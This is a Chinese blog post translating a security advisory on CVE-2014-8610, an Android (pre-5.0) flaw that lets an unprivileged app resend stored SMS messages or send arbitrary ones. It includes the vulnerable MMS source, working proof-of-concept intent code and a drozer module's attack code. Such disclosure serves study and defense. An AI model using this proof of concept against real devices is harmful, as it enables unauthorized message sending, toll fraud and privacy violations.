CVE-2014-8610 短信重发漏洞

目录

前言

研究百度Xteam发现的CVE-2014-8610短信重发漏洞,因为原文是英文顺便翻译了一下,原文地址[1]。


漏洞介绍

在安卓5.0以下,一个未授权的app可以重新发送存储在用户手机里的所有短信,短信按照以前的发送人和接收人一一发送。更糟糕的是恶意软件同样可以在未授权的情况下建立存储草稿,一个组合技就能发送任意短信了。


漏洞细节

漏洞源码地址[2],如果恶意软件发送广播“com.android.mms.transaction.MESSAGE_SENT”,并且发送结果码RESULT_ERROR_RADIO_OFF,它会触发源码里的handleSmsSent方法,如以下代码:

private void handleSmsSent(Intent intent, int error) {
…
} else if ((mResultCode == SmsManager.RESULT_ERROR_RADIO_OFF) || (mResultCode == SmsManager.RESULT_ERROR_NO_SERVICE)) {
if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) {
Log.v(TAG, “handleSmsSent: no service, queuing message w/ uri: ” + uri);
}
// We got an error with no service or no radio. Register for state changes so
// when the status of the connection/radio changes, we can try to send the
// queued up messages.
registerForServiceStateChanges();
// We couldn’t send the message, put in the queue to retry later.
Sms.moveMessageToFolder(this, uri, Sms.MESSAGE_TYPE_QUEUED, error);
…

如源码注释所说,handleSmsSent得到一个没有服务或者广播被关闭的错误,调用registerForServiceStateChanges方法改变状态,将短信加入队列中,以后发送。


POC

Intent intent= new Intent(“com.android.mms.transaction.MESSAGE_SENT”);
intent.setData(Uri.parse(“content://sms”));
intent.setClassName(“com.android.mms”, “com.android.mms.transaction.SmsReceiver”);
sendOrderedBroadcast(intent,null,null,null,SmsManager.RESULT_ERROR_RADIO_OFF,null,null); 

注意:
1.uri不指定ID的话,意味着全部短信重发,如:content://sms
2.必须使用显示intent
3.一旦短信被加入队列就会自动发送出去

我们可以先创建一个草稿信件,来达到发送任意短信的目的:

Intent intent1 = new Intent(“android.intent.action.SENDTO”);
intent1.setData(Uri.parse(“smsto:yourphonenumber”));
intent1.putExtra(“sms_body”, “another test sms1!”);
startActivity(intent1); 

发送以上intent后,app可以等待一会然后开启其他的activity,这样就会触发ComposeMessageActivity在MMS应用程序中调用方法onStop(),发送的短信会保存草稿到数据库。


drozer模块

模块源码地址[3],模块的安装可以直接远程安装

module install whfs.smsdraftsend

以下是模块的关键代码:

self.stdout.write("[+] Drafting SMS message to send.\n")
        #sleep(2)
        self.draftsms(arguments)

        self.stdout.write("[+] Calling app to send message to drafts.\n")
        #sleep(2)
        intent = android.Intent(component=(arguments.component[0], arguments.component[1]), flags=['ACTIVITY_NEW_TASK'])
        if intent.isValid():
            self.getContext().startActivity(intent.buildIn(self))
        else:
            self.stderr.write("[-] Invalid App Activity Intent!\n")

        sleep(2)

        self.stdout.write("[+] Sending draft messages.\n")
        self.smsordered(arguments, self.RESULT_ERROR_RADIO_OFF)

self.stdout.write("[+] Message sent.\n")

参考:
[1]http://xteam.baidu.com/?p=164
[2]https://android.googlesource.com/platform/packages/apps/Mms/+/android-4.4.4_r2.0.1/src/com/android/mms/transaction/SmsReceiverService.java
[3]https://github.com/mwrlabs/drozer-modules/blob/master/whfs/smsdraftsend.py

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值